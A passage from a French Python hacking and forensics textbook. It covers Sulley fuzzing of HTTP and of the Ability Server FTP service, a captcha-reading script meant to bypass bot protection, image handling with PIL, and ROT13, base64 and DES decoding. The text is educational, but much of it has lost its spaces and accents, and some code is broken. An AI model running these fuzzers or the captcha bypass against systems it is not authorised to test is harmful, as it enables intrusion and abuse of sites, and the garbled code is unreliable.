if s_block_start("something", dep="opcode", dep_values=[10, 15,
16], dep_compare="!="):
s_static("__")
s_string("quelques mots")
s_block_end()

k.BlocksHelpers
Lesblockshelperscontiennentdessizers,checksumsetrepeaters.
CelaestaussiunaspecttrsimportantcomprendredeSulley.

Sizers
Cethelpers_sizer()prendlenomdublockenpremierargumentpourmesurerlatailledeceluici.
Ilacceptedautresargumentsoptionnels :

length(entier,dfaut=4):tailledeschamps.

endian(caractre,dfaut=<):<littleindian,>bigendian.

format(chanedecaractres,dfaut=binary):binaryouascii.

inclusive(boolen,dfaut=False):lesizerdoitilsecompterdanslataille ?

ENI Editions - All rights reserved - chantal gournier

- 15 -

signed(boolen,dfaut=False):signounonsign,pourleformatascii.

math(fonction,dfaut=None):appliquelesoprationsmathmatiquesdfiniesdanslafonctionpour
lataille.

fuzzable(boolen,dfaut=False):valideouinvalidelefuzzingpourcetteprimitive.

name(chanedecaractres,dfaut=None):idemquepourlesautresprimitives.

Checksums
Commepourlesizer,s_checksum()prendlenomdublockcommeargumentpourcalculerlechecksum.
Nouspouvonsspcifierlesargumentsoptionnelssuivants :

algorithm(chanedecaractresoupointeurdefonction,dfaut="crc32") :algorithmedechecksum
appliquerlacible(crc32,adler32,md5,sha1).

endian(caractre,dfaut=<):<pourlittleendianet>pourbigendian.

length(entier,dfaut=0):longueurduchecksum,laisser0pouruncalculautomatique.

name(chanedecaractres,dfaut=None):idemqueprcdemment.

Repeaters

s_repeat()

est utilis pour dupliquer un block un certain nombre de fois. Il prend trois arguments
obligatoires:lenomdublockrpter,lenombreminimumetlenombremaximumderptitions.
Ilexisteaussitroisargumentsnonobligatoires :

step(entier,dfaut=1):nombredepasentrelesrptitionsminetmax.

fuzzable(boolen,dfaut=False):valideouinvalidelefuzzingdecetteprimitive.

name(chanedecaractres,dfaut=None):idemquepourlesautresprimitives.

# table entry: [type][len][string][checksum]


if s_block_start("table entry"):
# nous ne connaissons pas les types valides donc nous
# generons cette donnee aleatoirement.
_random("\x00\x00", 2, 2)
# nous inserons un sizer de longueur 2 pour le champ chaine
# de caracteres suivant.
s_size("string field", length=2)
if s_block_start("string field"):
# la chaine de caracteres par defaut sera une serie de C.
s_string("C" * 10)
s_block_end()
# ajout du checksum CRC-32 .
s_checksum("string field")
s_block_end()
# repete la table entry de 100 1000 par pas de 50 elements
# chaque iteration.
s_repeat("table entry", min_reps=100, max_reps=1000, step=50)

l.Legos
Laprimitivelegosestutilisepourreprsenterdescomposantsdfinisparlutilisateurtelsquelesadressese
mail,lesnomsdhtes,lesprotocolescommeMicrosoftRPC,XDR,ASN.1...

- 16 -

ENI Editions - All rights reserved - chantal gournier

s_lego("ber_string","anonymous")

Chaquelegosuitunformatsimilairelexceptiondesargumentsoptionnelsquisontspcifiqueschacun.
Exempledulegotag

class tag (blocks.block):


def __init__ (self, name, request, value, options={}):
blocks.block.__init__(self, name, request, None, None,
None, None)
self.value= value
self.options = options
if not self.value:
raise sex.error("MISSING LEGO.tag DEFAULT VALUE")
# [delim][string][delim]
self.push(primitives.delim("<"))
self.push(primitives.string(self.value))
self.push(primitives.delim(">"))

Celegoaccepteletagdsircommeunechanedecaractresetlencapsuleaveclesdlimiteursappropris.
Autreexemple

class integer (blocks.block):


def __init__ (self, name, request, value, options={}):
blocks.block.__init__(self, name, request, None, None,
None, None)
self.value= value
self.options = options
if not self.value:
raise sex.error("MISSING LEGO.ber_integer
DEFAULT VALUE")
self.push(primitives.dword(self.value, endian=">"))
def render (self):
blocks.block.render(self)
self.rendered = "\x02\x04" + self.rendered
return self.rendered

LexemplecidessusestunlegoquireprsentelesentierspourleprotocoleASN.1/BER.Lentierestajoutau
block grce self.push(), la routine est surcharge pour prfixer le contenu avec la squence statique
\x02\x04poursatisfairelareprsentationdelentier.

ENI Editions - All rights reserved - chantal gournier

- 17 -

Applications
1.Fuzzing1 :HTTP
a.nonc
Prrequis :Sulley,protocoleHTTP.
But :crerunfuzzingdesiteWeb.
nonc :
Nousvoudrionscrerunfuzzeravecplusieursblocks.
Un block, par exemple, permettra de fuzzer toutes les chanes de caractres de largument /index.html
HTTP/1.1 pourtouteslescommandes:GET,HEAD, POST, OPTIONS,TRACE,PUT,DELETEetPROPFIND.
Vousimplmenterezplusieursblocksselonvotreimagination,seulecellecietleslimitesduprotocolepeuvent
vousbloquer.

b.Exempledecorrig

from sulley import *


#################################################################
s_initialize("HTTP VERBS")
s_group("verbs", values=["GET", "HEAD", "POST", "OPTIONS",
"TRACE", "PUT", "DELETE", "PROPFIND"])
if s_block_start("body", group="verbs"):
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")
s_static("\r\n\r\n")
s_block_end()
################################################################
s_initialize("HTTP VERBS BASIC")
s_group("verbs", values=["GET", "HEAD"])
if s_block_start("body", group="verbs"):
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")
s_static("\r\n\r\n")
s_block_end()
################################################################
s_initialize("HTTP VERBS POST")
s_static("POST / HTTP/1.1\r\n")
s_static("Content-Type: ")
s_string("application/x-www-form-urlencoded")
s_static("\r\n")

ENI Editions - All rights reserved - chantal gournier

- 1-

s_static("Content-Length: ")
s_size("post blob", format="ascii", signed=True, fuzzable=True)
s_static("\r\n\r\n")
if s_block_start("post blob"):
s_string("A"*100 + "=" + "B"*100)
s_block_end()
################################################################
s_initialize("HTTP HEADERS")
s_static("GET / HTTP/1.1\r\n")
# lets fuzz random headers with malformed delimiters.
s_string("Host")
s_delim(":")
s_delim(" ")
s_string("localhost")
s_delim("\r\n")
# lets fuzz the value portion of some popular headers.
s_static("User-Agent: ")
s_string("Mozilla/5.0 (Windows; U)")
s_static("\r\n")
s_static("Accept-Language: ")
s_string("en-us")
s_delim(",")
s_string("en;q=0.5")
s_static("\r\n")
s_static("Keep-Alive: ")
s_string("300")
s_static("\r\n")
s_static("Connection: ")
s_string("keep-alive")
s_static("\r\n")
s_static("Referer: ")
s_string("http://dvlabs.tippingpoint.com")
s_static("\r\n")
s_static("\r\n")
################################################################
s_initialize("HTTP COOKIE")
s_static("GET / HTTP/1.1\r\n")
if s_block_start("cookie"):
s_static("Cookie: ")
s_string("auth")
s_delim("=")
s_string("1234567890")
s_static("\r\n")
s_block_end()
s_repeat("cookie", max_reps=5000, step=500)
s_static("\r\n")

Aprsavoirdfininosdlimiteursetnoschanesdecaractresdanslesdiffrentsblockssuivantcequenous
dsirons tester, nous pouvons lancer le fuzzing. Cinq blocks sont ici prsents pour lexemple mais nous
pouvonsbiensrajouterdautresblockspouraffinernotrerecherchedefailles.

2.Fuzzing2 :FTP
a.nonc
Prrequis:Sulley,protocoleFTP.
But:crerunfuzzingpourtesterAbilityServer.
nonc:
EssayezdetrouverunefaillepotentielledansAbilityServer 2.34,quenousavonsdjtudidanscechapitre.

- 2-

ENI Editions - All rights reserved - chantal gournier

b.Exempledecorrig

#!/usr/bin/env python
from sulley import *
import sys
import time
s_initialize("user")
s_static("USER")
s_delim(" ")
s_static("ftp")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ")
s_static("ftp")
s_static("\r\n")
s_initialize("stor")
s_static("STOR")
s_delim(" ")
s_string("AAAA")
s_static("\r\n")
print "Mutations: " + str(s_num_mutations())
print "Press CTRL/C to cancel in ",
for i in range(3):
print str(3 - i) + " ",
sys.stdout.flush()
time.sleep(1)
def receive_ftp_banner(sock):
sock.recv(1024)
print "Instantiating session"
sess = sessions.session(session_filename="ftp.session",
sleep_time=0.25)
print "Instantiating target"
target = sessions.target("192.168.0.5", 21)
target.procmon = pedrpc.client("192.168.0.1", 26002)
target.procmon_options = {
"proc_name" : "Ability Server.exe",
"stop_commands" : [wmic process where (name="Ability
Server.exe") delete"],
"start_commands" : [C:\\Documents and
Settings\\fasm\\Bureau\\Ability Server.exe],
}
sess.pre_send = receive_ftp_banner
sess.add_target(target)
sess.connect(s_get("user"))
sess.connect(s_get("user"),s_get("pass"))
sess.connect(s_get("pass"),s_get("stor"))
print "Demarrage du fuzzing"
sess.fuzz()

Nous commenons par nous identifier sur le serveur ftp avec lidentifiant ftp et le mot de passe ftp. Nous
lanonsensuitelefuzzingsurlacommandeSTOR.Nousaurionsbienentendupufaireunebouclesuruneliste
quicontiendraittouteslescommandesFTPquidemandentunargumenttellesqueSTOR,MKO,CWD...

ENI Editions - All rights reserved - chantal gournier

- 3-

Nousvoyonssurlescopiesdcrancidessus,lavancementdufuzzingsurAbility Server.

- 4-

ENI Editions - All rights reserved - chantal gournier

Introduction
PIL (Python Imaging Library) est un paquet qui contient plusieurs fonctions pour manipuler des images dans un
scriptPython.
MaisquelestlerapportentreletraitementdimagesetleHackingouleForensic ?
UnepartieduHacking,maisquifaitpartieintgranteaussiduForensic,estlastganographie.
Lastganographie(dugrec steganos, couvert etgraphein, criture) est lart de cacher un message au sein dun
autremessagedecaractreanodin,desortequelexistencemmedusecretensoitdissimule.Alorsquavecla
cryptographie habituelle, la scurit repose sur le fait que le message ne sera sans doute pas compris, avec la
stganographie,lascuritreposesurlefaitquelemessage neserapassansdoutepasdtect.
Nous aurons donc besoin dans certains cas dtudier les images dans un ordinateur lors dune perquisition afin
dessayerdedtecterdesmessagesoudautreschosescachesdanscellesci.
Lanalyse de captcha avec PIL, associe avec dautres outils, va nous permettre de contourner cette protection
lorsdaccsdessitesweb.Enexercicenousanalyseronsuncasdecaptcha.
Lecaptchaestunmoyentrsutilis(presquepartout)quipermet(thoriquement)dviterdesactionsderobots,
doncautomatisessurdiffrentssitesweb.

ENI Editions - All rights reserved - chantal gournier

- 1-

Utilisation
1.LaclasseImage
PILestinclusdanslesdistributionsLinuxdanslepaquetimaging(pythonimaging).
La plus importante classe dans PIL est la classe Image, dfinie dans le module portant le mme nom. Nous
pouvonscreruneinstancedecetteclassedediffrentes manires:enchargeantlimagepartirdunfichier,
entraitantdautresimagesouencrantuneimagepartirdezro.
Pourchargeruneimagepartirdunfichier,nousutiliseronslafonctionopen.
LimagecidessoussetrouvedansledossierojelancelescriptPython :

>>> import Image


>>> im = Image.open("eni.jpg")

Si cela sest bien droul, cette fonction retourne un objet image. Nous pouvons maintenant utiliser cette
instructionpourexaminersoncontenu.

>>> print im.format, im.size, im.mode


JPEG (140, 140) RGB

Silimagenapasputrecharge,lattributauralavaleurNone.Lattribut sizeestuntuplecontenant width


et height (en pixels). Lattribut mode dfinit le nombre et les noms des classifications de limage,etaussile
typedepixelsetlaprofondeur.Lesmodeslespluscommunssont"L"(luminance)pourlesimagesenniveaude
gris,"RGB"pourlesimagesencouleursrelles,et"CMYK"pourlesimpressionsdimages.
Silefichiernapasputreouvert,uneexceptiondetypeIOErrorestgnre.
NousavonsmaintenantuneinstancedelaclasseImage,nouspouvonsutiliserlesmthodesdfiniesparcette
classepourmanipulerettraiterlimage.
Nousallonsaffichercequenousavonscharg :

>>> im.show()

Limageapparatdansunefentrespare.
chap5_script1.py

import sys
from PIL import Image

ENI Editions - All rights reserved - chantal gournier

- 1-

PIL_Version = Image.VERSION
img_filename = "eni.jpeg"
im = Image.open(img_filename)
im.show()

2.Lireetcrire
PIL supporte une grande varit de types dimages. Pour lire un fichier du disque, nous utiliserons la fonction
open du module Image. Nous navons pas besoin de connatre le format du fichier pour louvrir. La librairie
dtermineautomatiquementleformatensebasantsurlecontenudufichier.
Poursauvegarderlefichier,nousutiliseronslamthode save.Quandlefichierestsauvegard,lenomdevient
important.Sinousspcifionsleformatdelimage,lalibrairieutiliseracetteextensionpourdterminerleformat
utiliserpoursauvegarder.
Conversiondefichierenjpeg :chap5script2.py

import os, sys


import Image
for infile in sys.argv[1:]:
f, e = os.path.splitext(infile)
outfile = f + ".jpg"
if infile != outfile:
try:
Image.open(infile).save(outfile)
except IOError:
print "cannot convert", infile

Unsecondargumentpeuttreajoutlamthode savequispcifieleformat. Sinousutilisonsuneextension


nonstandard,nousdevronsobligatoirementlespcifier :
CrerunThumbnailJPEG :chap5_script3.py

#!/usr/bin/env python
import os, sys
import Image
size = 128, 128
for infile in sys.argv[1:]:
outfile = os.path.splitext(infile)[0] + ".thumbnail"
if infile != outfile:
try:
im = Image.open(infile)
im.thumbnail(size)
im.save(outfile, "JPEG")
except IOError:
print "ne peut pas crer de thumbnail ", infile

Thumbnailestleformatduneimagequiatdiminuepouravoirladimensiondelongledupouce(thumbnail).
Sinouslanonscescriptaveccommeargumenteni.jpg,nousretrouvonsunephotoeni.thumbnail.

- 2-

ENI Editions - All rights reserved - chantal gournier

Quandnousouvronsunfichier,lentteestlupourdterminerleformatdufichieretextrairelemode,latailleet
touteautrepropritrequisepourdcoderlefichier,maislerestedufichierneseratraitqueplustard.
Celaveutdirequouvrirunfichierestuneoprationrapidequiestdpendantedelatailledufichieretdutypede
compression.
Voiciunscriptsimplepouridentifierrapidementunensembledimages :
chap5_script4.py

#!/usr/bin/env python
import sys
import Image
for infile in sys.argv[1:]:
try:
im = Image.open(infile)
print infile, im.format, "%dx%d" % im.size, im.mode
except IOError:
pass

3.Couper,colleretfusionner
La classe Image contient des mthodes qui nous autorisent manipuler des rgions de limage. Pour extraire
unergionrectangulairedelimage,nousutiliseronslamthodecrop.
Copiedunergionrectangulairedelimage

box = (100, 100, 400, 400)


region = im.crop(box)

Largionestdfinieavecuntuplede4lmentsquireprsententgauche,haut,droiteetbas(left,upper,right,
lower).PILutiliseunsystmedecoordonnesavec(0,0)pourlecoinenhautgauche.
Traiterlargionslectionneetcoller

region = region.transpose(Image.ROTATE_180)
im.paste(region, box)

Quandoncollelargionslectionne,latailledecellecidoitcorrespondreexactementaveclargiondonne.La
rgion ne peut pas tre plus grande que limage. Le mode de limage originale et celui de la rgion nont pas

ENI Editions - All rights reserved - chantal gournier

- 3-

besoindtreidentiques.Largionseraautomatiquementconvertieavantdtrecolle.
Fairetourneruneimage

def roll(image, delta):


xsize, ysize = image.size
delta = delta % xsize
if delta == 0: return image
part1 = image.crop((0, 0, delta, ysize))
part2 = image.crop((delta, 0, xsize, ysize))
image.paste(part2, (0, 0, xsize-delta, ysize))
image.paste(part1, (xsize-delta, 0, xsize, ysize))
return image

Lamthode pastepeutaussiprendrecommeargument(optionnel)unmasquedetransparencelavaleur255
indiquequelimagecollerseraopaqueetlavaleur0quelleseracompltementtransparente.Nouspourrons
biensrrglerentrecesdeuxborneslatransparencedsire.
PIL nous permet aussi de travailler individuellement chaque bande dune image multibande comme RGB par
exemple. La mthode splitcreunensemble denouvellesimageschacunecontenantunebandedelimage
originale.
Lafonction mergeprendcommeargumentsunmodeetuntuplecontenantlesimagesetlesfusionneenune
seuleimage.
clateretrassembleruneimage

r, g, b = im.split()
im = Image.merge("RGB", (b, g, r))

4.Transformationsgomtriques
La classe Image contient les mthodes resize et rotate. Elles prennent respectivement en argument un
tuplecontenantlanouvelletaille,etlangleendegrs(sensdesaiguillesdunemontre).
Transformationgomtriquesimple

out = im.resize((128, 128))


out = im.rotate(45)

Pourtournerlimagede90,nouspouvonsutiliserlesmthodes rotateou transpose.Cettedernirepeut


treutilisepourretourneruneimagesuivantlaxehorizontalouvertical.
Transposeruneimage

out
out
out
out
out

- 4-

=
=
=
=
=

im.transpose(Image.FLIP_LEFT_RIGHT)
im.transpose(Image.FLIP_TOP_BOTTOM)
im.transpose(Image.ROTATE_90)
im.transpose(Image.ROTATE_180)
im.transpose(Image.ROTATE_270)

ENI Editions - All rights reserved - chantal gournier

5.Transformationdescouleurs
PIL nous autorise convertir des images entre diffrentes reprsentations de pixels en utilisant la fonction
convert.
Conversiondemodes

im = Image.open("lena.ppm").convert("L")

La librairie supporte la transformation entre chaque mode support et le mode L et le mode RGB .Pour
convertirentredautresmodesnousdevronsutiliseruneimageintermdiaire(RGB).

6.Amliorationdimage
PILcontientuncertainnombredemthodesetmodulesquipeuventtreutilisspouramliorerdesimages.

a.Filtres
Le module ImageFilter contient un nombre prdfini de filtres qui peuvent tre utiliss avec la mthode
filter.
Appliquerunfiltre

import ImageFilter
out = im.filter(ImageFilter.DETAIL)

b.Oprationssurlespoints
Lamthodepointpeuttreutilisepourtraduirelesvaleursdespixelsduneimage.
Appliquerlatransformationdepoints

# multiplie chaque pixel par 1.2


out = im.point(lambda i: i * 1.2)

Enutilisantlatechniqueprcdente,nouspouvonsrapidementappliquernimportequelleexpressionsimple
uneimage.Nouspouvonscombinerlesmthodespointetpastepourmodifieruneimage :
Traitementindividueldesbandes
Nous allons dans ce script travailler sur chaque bande de couleur (R, G, B). La premire tape est donc
d"clater" (split) limage suivant les couleurs. Ds que le travail sur celleci est effectu, nous reconstruirons
limage(merge).

# eclater limage en bandes individuelles


source = im.split()
R, G, B = 0, 1, 2
# selection des regions ou le rouge est inferieur 100
mask = source[R].point(lambda i: i < 100 and 255)
# traite la bande verte
out = source[G].point(lambda i: i * 0.7)

ENI Editions - All rights reserved - chantal gournier

- 5-

source[G].paste(out, None, mask)


# reconstruit limage
im = Image.merge(im.mode, source)

Syntaxeutilisepourcrerlemasque

imout = im.point(lambda i: expression and 255)

c.Amlioration
NouspourronsutiliserlaclasseImageEnhancepourdesamliorationsplusavances.Unefoiscrpartirde
limage,lobjetpeuttreutilispouressayerdiffrentesconfigurations(contraste,luminosit,couleurbalance
etforme).
Amliorerlimage

import ImageEnhance
enh = ImageEnhance.Contrast(im)
enh.enhance(1.3).show("30% more contrast")

- 6-

ENI Editions - All rights reserved - chantal gournier

Exemplesdutilisation
1.Crationduncaptcha
Lebutducaptchaestdecreruneimagelisibleparlhommemaisnonlisibleoutrsdifficilementparun"robot".
Cestunmoyendtre(presque)srquecestunhumainquiseconnectesurunsiteparexemple.
Lesexplicationsdechaquepartieduscriptsontencommentairesdanscedernier.
chap5_script5.py

#!/usr/bin/env python
import Image,ImageDraw,ImageFont
# creation du fond de limage
image = Image.new(RGB, (300, 80), (220,210,190))
draw = ImageDraw.Draw(image)
# creation du texte
textImg = Image.new(RGB,(150,40),(0,0,0))
tmpDraw = ImageDraw.Draw(textImg)
textFont = ImageFont.truetype(/var/lib/defoma/x-ttcidfontconf.d/dirs/TrueType/Arial_Black.ttf,30)
tmpDraw.text((0, 0), ENI Ed., font = textFont, fill =
(10,200,200))
textImg = textImg.rotate(-10)
# creation du masque (meme taille que limage du texte)
mask = Image.new(L,(150, 40),0)
mask.paste(textImg,(0,0))
# collez-le sur limage avec le texte
image.paste(textImg,(100,0),mask)
image.save(ENI.jpg)

2.Capturedimageettransformation
Nous allons dans ce script utiliser une autre bibliothque appele pythonopencv qui va nous permettre de
prendreunephotoaveclawebcametensuitedetraitercetteimage.
chap5_script6.py

#!/usr/bin/env python
import os,time
import datetime
import opencv.adaptors
from opencv.cv import *
from opencv import highgui
import ImageEnhance
import Image
ENI Editions - All rights reserved - chantal gournier

- 1-

def get_image(camera):
testimage = highgui.cvQueryFrame(camera)
time.sleep(1)
im = highgui.cvQueryFrame(camera)
dir(im)
print "limage est prise"
return opencv.adaptors.Ipl2PIL(im)
a=os.popen(whoami)
l=a.read()
s=l.split(\n)
uname=s[0]
now = datetime.datetime.now()
now = str(now)
im=None
camera= highgui.cvCreateCameraCapture(1)
time.sleep(2)
im = get_image(camera)
os.chdir(/home/%s/Pictures %(uname) )
fname=image_+uname+"_"+now+.png
im.save(fname, "PNG")
enh = ImageEnhance.Contrast(im)
enh.enhance(1.3).show("30% more contrast")

Grce la commande highgui.cvCreateCameraCapture(1), nous crons lobjet camera puis grce


highgui.cvQueryFrame(camera),nousprenonsunephoto.
Leresteestassezsimple,nousutilisonsImageEnhanceafindemodifierlecontrastedelimage.

3.Lecturedecaptcha
a.nonc
Prrequis:librairiePIL,HTTP

- 2-

ENI Editions - All rights reserved - chantal gournier

But:crerunscriptquilitlescaptchas.
nonc:
Dansbeaucoupdesites,pourlidentification,lesprogrammeursmettentenplacedescaptchaspourempcher
lesrobotsderaliserdemultiplesinscriptions.
Le but de cet exercice est de crer un script qui lit les captcha afin doutrepasser cette barrire
lauthentification.

b.Exempledecorrig
Lecaptchaalaformecidessous :

Nousallonscommencerparcrerunscriptquivafairelhistogrammedecetteimageafindetrouverlenombre
depixelsidentiques.Nouspourronssupposerquelenombremaximalcorrespondraauxpixelsblancspuisque
limageestenmajoritblanche.
Premieressai

#!/usr/bin/env python
from PIL import Image
import ImageEnhance
im = Image.open("../../images/chapitre5/05EP05.png")
im = im.convert("P") # Converts into GIF (255 colors)
test=im.histogram()
print im.histogram()
print test.index(8118)
for x in range(im.size[1]):
for y in range(im.size[0]):
pix = im.getpixel((y,x))
if pix != 225:
im.putpixel((y,x),0)
print im.histogram()
im.show()

Nousobtenonsdoncceci :

Lenombremaximalest8118etestenposition225.
Enlanantlescript,nousobtenons:

ENI Editions - All rights reserved - chantal gournier

- 3-

Noussommesdoncenbonnevoie.
Installons la bibliothque pytesser en guise dOCR. Nous avons en effet besoin dun OCR (Optical Character
Recognition, reconnaissance optique de caractre), pour lire le captcha une fois que le script aura rtabli
verticalement les lettres. Nous allons donc dtecter les lettres, grce aux diffrences de couleur puis
essayer dereplacerverticalement(ellesontunangleaudmarrage).
chap5_script7.py

#!/usr/bin/env python
from PIL import Image
import ImageEnhance
import re
from pytesser import *
im = Image.open("../../images/chapitre5/05EP05.png")
im = im.convert("P") # Converts into GIF (255 colors)
for x in range(im.size[1]):
for y in range(im.size[0]):
pix = im.getpixel((y,x))
if pix != 225:
im.putpixel((y,x),0)
print im.histogram()
def rotc(image, rotations):
for rotation in rotations:
torot = image.convert(RGBA)
rot = torot.rotate(rotation, expand=1)
fff = Image.new(RGBA, rot.size, (255,)*4)
out = Image.composite(rot, fff, rot)
image = out.convert(image.mode)
alpha = re.match(r"[a-zA-Z0-9]", image_to_string(image))
try:
return (image, alpha.group(0))
except:
pass
inletter = False
foundletter=False
start = 0
end = 0
imList = []
for y in range(im.size[0]):
for x in range(im.size[1]):
pix = im.getpixel((y,x))
if pix != 225:
inletter = True
if foundletter == False and inletter == True:
foundletter = True
start = y
if foundletter == True and inletter == False:
foundletter = False
end = y
im3 = im.crop((start, 0, end, im.size[1] ))
imList.append(im3)
inletter=False
imList[1] = rotc(imList[1], [-30, 30])[0]
imList[2] = rotc(imList[2], [30, -30])[0]
imList[4] = rotc(imList[4], [-30, 30])[0]

- 4-

ENI Editions - All rights reserved - chantal gournier

Sinouslanonscescript,nousobtenonscequenousvoulions,letexteducaptchaestrcupr.

ENI Editions - All rights reserved - chantal gournier

- 5-

Introduction
Ondsigneparinformatiquelgaleouinvestigationnumriquelgalelapplicationdetechniquesetdeprotocoles
dinvestigationnumriquesrespectantlesprocdureslgalesetdestineapporterdespreuvesnumriquesla
demandeduneinstitutiondetypejudiciaireparrquisition,ordonnanceoujugement.Onpeutdoncgalementla
dfinircommelensembledesconnaissancesetmthodesquipermettentdecollecter,conserveretanalyserdes
preuvesissuesdesupportsnumriquesenvuedelesproduiredanslecadreduneactionenjustice.
Le but de ce chapitre est donc de comprendre lutilisation de Python pour crer de petits scripts qui vont nous
permettredetrouverdespreuvesinformatiques,deretrouverdeslmentsdisperssdansledisquedurousur
dautres mdias. Nous dcouvrirons en plus de celles dj vues dans les chapitres prcdents, dautres
bibliothquesPythontellesqueVolatilityetlibPST.
IlexistesurlewebdemultiplesoutilsdeForensictelsqueAutopsyparexemple,desoutilssontregroupsdans
les distributions telles que BackTrack ou Bugtraq mais que se passetil quand loutil que lon souhaite nexiste
pas ?
Les experts en Forensic savent trs bien que souvent nous arrivons une situation dans laquelle les outils du
marchsontsoitinexistants,soittropcomplexes pourlebutrecherch.
NousallonsexplorerlafaondontnouspouvonscrernospropresoutilsForensic.
Ce chapitre est une application des bibliothques que nous avons dj tudie avec quelques pistes dautres
bibliothques.
NousallonspasserenrevuediffrentspointsdelanalyseForensic,quinestpasexhaustive,enappliquantnos
connaissances.
Chaquesectionrequerrapeuttrelalecturedecertainsarticlessurlacryptographie,lanalysemmoireouautre.

ENI Editions - All rights reserved - chantal gournier

- 1-

Cryptographieetautres
Souvent,nousallonstreconfrontsdesfichierscryptslaciblevaeneffetessayerdecacherlinformation.

1.ROT13
Source Wikipdia : "Le ROT13 (rotate by 13 places) est un cas particulier du chiffre de Csar, un algorithme
simplistedechiffrementdetexte.Commesonnomlindique,ilsagitdundcalagede13 caractresdechaque
lettre du texte chiffrer. Le dfaut de ce chiffrement est que sil soccupe des lettres, il ne soccupe pas des
symboles et de la ponctuation. Cest pourquoi on doit supprimer toute accentuation du texte chiffrer. Il ne
soccupepasnonplusdeschiffres,cequitaitsansimportancepuisquelesRomainscrivaientleurschiffresavec
des lettres (I, V, X, L, M, etc.). Pour lutiliseraujourdhui, il suffit de convertir dabordleschiffresenutilisantla
notationromaine,ouenlettres("UN"pour1,"DEUX"pour2...)."
LalettreOdevientB,lalettrePdevientC...
LalibrairiestringdePythoncontientunefonctionappele maketransquipermetdesubstitueruncaractre
unautre.

ROT13=string.maketrans
(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ,
nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM)

Danslescriptsuivant,nousallonsouvrirtouslesfichiers.txtetlancerlecryptage ROT13pourchaquelignede
chaque fichier. Nous allons ensuite regarder si la ligne contient un mot contenu dans le dictionnaire que lon
ouvreaudbut.
Sicestlecas,nousafficheronsunmessageindiquantquenousavonstrouvunmessageencodenROT13.
chap6_script1.py

#!/usr/bin/env python
import sys, os, string
ROT13=string.maketrans(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOP
QRSTUVWXYZ,nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM
)
fichier = open("dictionnaire")
Fichier = fichier.readlines()
for root, dir, files in os.walk(str(sys.argv[1])):
for file in files:
if ".txt" in str(file):
trouvemot = 0
pasmot = 0
lignes = open(file).readlines()
for ligne in lignes:
traductionligne=ligne.translate(RO T13)
traductionmots=traductionligne.spl it()
for chaquemot in traductionmots:
if (chaquemot+\n) in
Fichier:
trouvemot=trouvemo- t+1
else:
pasmot = pasmot+1
if (trouvemot > pasmot):
print file+" peut contenir un
cryptage ROT-13."

Lescriptsuivantestunautremoyendecrypterunephrase,ici Essaidetexte enROT13.Ilesttrssimplede


ENI Editions - All rights reserved - chantal gournier

- 1-

fairelinverse,cestdirededcrypter.
chap6_script2.py

import string
letters = string.ascii_lowercase
key = 13
trans_table = letters[key:] + letters[0:key]
trans = string.maketrans(letters,trans_table)
text = "Essai de texte"
print text.translate(trans)

2.Base64
IlexisteunelibrairiePythonetdesmodulespourdcoderlabase64,lecryptage declssymtriques...
Pourdcoderunephraseenbase64ensontexteoriginal,nouspouvonsutilisercescript :
chap6_script3.py

#!/usr/bin/env python
import base64
msg=raw_input("Entrez le message en base 64 :")
print "Message original: "+base64.decodestring(msg)

Nousallonsessayerdetraduirelaphraseenbase64suivante,trouvesurleNetpourtesternotreprogramme:
TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWF
zb24sIGJ1dCBieSB0aGlzIHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdG
hlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2YgdGhlIG1pbmQsI
HRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUg
Y29udGludWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Y
ga25vd2xlZGdlLCBleGNlZWRzIHRoZSBzaG9ydCB2ZWhlbWVuY2Ugb2
YgYW55IGNhcm5hbCBwbGVhc3VyZS4=

Nousarrivonsdoncdcoderunephrasecrypteenbase64.
Attelonsnousunscriptquiencodeetdcodelabase64 :
chap6_script4.py

#!/usr/bin/env python
import base64
MESSAGE = "Editions ENI"

- 2-

ENI Editions - All rights reserved - chantal gournier

file = open("out.txt", "w")


file.write(MESSAGE)
file.close()
base64.encode(open("out.txt"), open("out.b64", "w"))
base64.decode(open("out.b64"), open("out.txt", "w"))
print "original:", repr(MESSAGE)
print "encoded message:", repr(open("out.b64").read())
print "decoded message:", repr(open("out.txt").read())

Nous pouvons faire de mme avec une image, prenons comme exemple une image en .gif et essayons de la
coderenbase64 :
chap6_script5.py

import base64, sys


if not sys.argv[1:]:
print "Usage: chap6_script5.py gif "
sys.exit(1)
data = open(sys.argv[1], "rb").read()
if data[:4] != "GIF8":
print sys.argv[1], "is not a GIF file"
sys.exit(1)
print base64.encodestring(data)

Nousallonsimaginermaintenantquenousavonsrcuprdesclssymtriquescryptes(DES)etunmessage
suspectventuellementcryptaveclunedecescls.
Nousavonsenregistrdansunfichierkey.txttouteslesclstrouves.
UnelibrairiePythonexisteetsappellepyCrypto,nousallonslutiliserdansnotreprochainscript.
Nousallonsdoncessayerdedcoderlemessageavecchaquecl.Unefoiscelaeffectu,nousallonscompterle
nombre de caractres alphanumriques dans le rsultat et si celuici contient principalement des caractres
alphanumriques,nousallonsafficherlacletlemessagedcod.
chap6_script6.py

#!/usr/bin/env python
import base64, string
from Crypto.Cipher import DES
THRESH = 0.9
keyFile = open("keys.txt")
keys = keyFile.readlines()
ciph=base64.decodestring("cG0okyHpOAADuNLv8bRpxpyZeU8kMA2kWV2zoV+Y
Uos=")
for key in keys:
obj=DES.new(key[0:8], DES.MODE_ECB)
decodedStr=obj.decrypt(ciph)

ENI Editions - All rights reserved - chantal gournier

- 3-

foundLetters = 0
for eachChar in decodedStr:
if eachChar.isalpha() or eachChar.isdigit() or
eachChar.isspace():
foundLetters = foundLetters+1
if (float(foundLetters)/float(len(decodedStr)) > THRESH):
